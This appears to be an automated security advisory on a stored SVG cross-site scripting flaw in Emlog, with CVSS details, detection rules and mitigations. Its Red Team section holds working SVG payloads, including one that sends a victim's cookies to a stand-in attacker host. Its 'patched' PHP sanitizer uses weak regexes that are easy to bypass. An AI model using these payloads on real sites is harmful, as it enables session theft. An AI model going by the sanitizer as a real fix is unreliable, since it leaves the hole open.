CVE-2025-53925

Executive Summary

CVE-2025-53925 is a stored cross-site scripting (XSS) vulnerability in Emlog, an open-source website building system, affecting versions up to and including pro-2.5.17. An authenticated attacker can upload a malicious SVG file containing JavaScript code. When the file is later accessed or rendered, the script executes in the context of the victim's browser, potentially leading to session hijacking, data theft, or defacement. The vulnerability resides in the file upload functionality, which fails to sanitize SVG files for embedded scripts. With a CVSS score of 5.4 (Medium), the attack requires authentication but can be chained with other vulnerabilities for greater impact. No official patch is available, making mitigation dependent on manual controls.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Attacker needs authenticated access.
• User Interaction (UI): Required (R) – Victim must view the uploaded SVG.
• Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No direct impact on availability.

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the lack of a patch and the potential for chaining with other exploits (e.g., privilege escalation) elevates the risk for Emlog instances with untrusted users.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS via SVG upload. Emlog's file upload functionality does not validate the content type or sanitize SVG files for embedded JavaScript. An attacker can craft an SVG file containing a <script> tag or an onload event handler. When the SVG is uploaded and later accessed (e.g., via a direct link or embedded in a page), the browser executes the malicious script.

Attack Flow:

1. Attacker authenticates to Emlog (e.g., as a contributor or editor).
2. Attacker uploads a malicious SVG file (e.g., payload.svg) containing JavaScript.
3. The SVG is stored on the server and accessible via a URL.
4. Victim (e.g., admin or other user) views the SVG file.
5. The browser renders the SVG, executing the embedded script.
6. The script can steal cookies, perform actions on behalf of the victim, or deface the site.

Root Cause: Lack of input validation and output encoding for SVG files. The application does not strip script tags or event handlers from SVG content.

Vulnerable vs. Patched Code

Since no patched version exists, the vulnerable code is the file upload handler. A typical vulnerable implementation might look like:

// Vulnerable: No sanitization of SVG content
$uploadedFile = $_FILES['file'];
$targetPath = 'uploads/' . basename($uploadedFile['name']);
move_uploaded_file($uploadedFile['tmp_name'], $targetPath);

A patched version would include validation and sanitization:

// Patched: Validate MIME type and sanitize SVG
$allowedTypes = ['image/svg+xml'];
if (in_array($uploadedFile['type'], $allowedTypes)) {
    $svgContent = file_get_contents($uploadedFile['tmp_name']);
    // Remove script tags and event handlers
    $svgContent = preg_replace('/<script\b[^>]*>(.*?)<\/script>/is', '', $svgContent);
    $svgContent = preg_replace('/\bon\w+\s*=\s*"[^"]*"/i', '', $svgContent);
    file_put_contents($targetPath, $svgContent);
}

Exploitation & Lab Setup

Red Team

Prerequisites: Authenticated user account on Emlog pro-2.5.17.

Step 1: Craft Malicious SVG Create a file named payload.svg with the following content:

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    alert('XSS');
  </script>
</svg>

Step 2: Upload SVG Log in to Emlog, navigate to the file upload functionality (e.g., in media library or post editor), and upload payload.svg.

Step 3: Trigger XSS Access the uploaded SVG directly via its URL (e.g., http://target.com/uploads/payload.svg). The script executes in the browser.

Advanced Payload (Cookie Stealing):

<?xml version="1.0" encoding="UTF-8"?>
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script type="text/javascript">
    new Image().src = 'http://attacker.com/steal?cookie=' + document.cookie;
  </script>
</svg>

Blue Team

Detection:

• Monitor file uploads for SVG files with suspicious content (e.g., <script> tags).
• Use WAF rules to block SVG uploads containing JavaScript.
• Implement Content Security Policy (CSP) to restrict script execution.

Prevention:

• Disable SVG uploads if not required.
• Sanitize SVG files using libraries like DOMPurify or svg-sanitizer.
• Serve uploaded files with Content-Disposition: attachment to prevent inline rendering.

Hunting:

• Search server logs for uploads of .svg files.
• Review database entries for file paths containing .svg.
• Use the following YARA rule to scan uploaded files.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example – actual hashes depend on payload)
  • e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (empty SVG)
• Network Patterns:
  • Outbound HTTP requests to attacker-controlled domains from the Emlog server.
  • Suspicious Referer headers containing SVG URLs.
• File Artifacts:
  • SVG files in upload directories containing <script> tags or event handlers.
  • Unusual file names like xss.svg, payload.svg.
• Log Entries:
  • Access logs showing GET /uploads/*.svg with unusual user agents.

Detection Engineering

YARA Rule

rule CVE_2025_53925_SVG_XSS {
    meta:
        description = "Detects malicious SVG files with embedded JavaScript for CVE-2025-53925"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53925"
    strings:
        $svg_header = "<?xml" nocase
        $svg_tag = "<svg" nocase
        $script_tag = "<script" nocase
        $on_event = /\bon\w+\s*=/ nocase
        $javascript = "javascript:" nocase
    condition:
        $svg_header and $svg_tag and ($script_tag or $on_event or $javascript)
}

Sigma Rule

title: CVE-2025-53925 SVG Upload with Embedded Script
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of SVG files containing script tags or event handlers
author: Valters IT
date: 2025-04-10
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|endswith: '.svg'
        TargetFilename|contains: 'uploads'
    filter:
        - TargetFilename|contains: 'sanitized'
    condition: selection and not filter
falsepositives:
    - Legitimate SVG files with embedded scripts (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53925 SVG Upload with JavaScript"; flow:to_server,established; content:"POST"; http_method; content:".svg"; http_uri; content:"<script"; pcre:"/<script\b[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG Uploads: Temporarily block SVG file uploads via application configuration or web server rules.
2. Implement WAF Rules: Block HTTP requests containing <script> in SVG uploads.
3. Sanitize Uploads: Use a server-side SVG sanitizer (e.g., svg-sanitizer library) to strip scripts and event handlers.

Long-Term Fix:

• Apply a vendor patch when available.
• Upgrade to a patched version of Emlog.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Workaround:

• Serve uploaded SVG files with Content-Type: text/plain to prevent rendering as SVG.
• Use a reverse proxy to rewrite SVG file requests to a sanitization endpoint.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.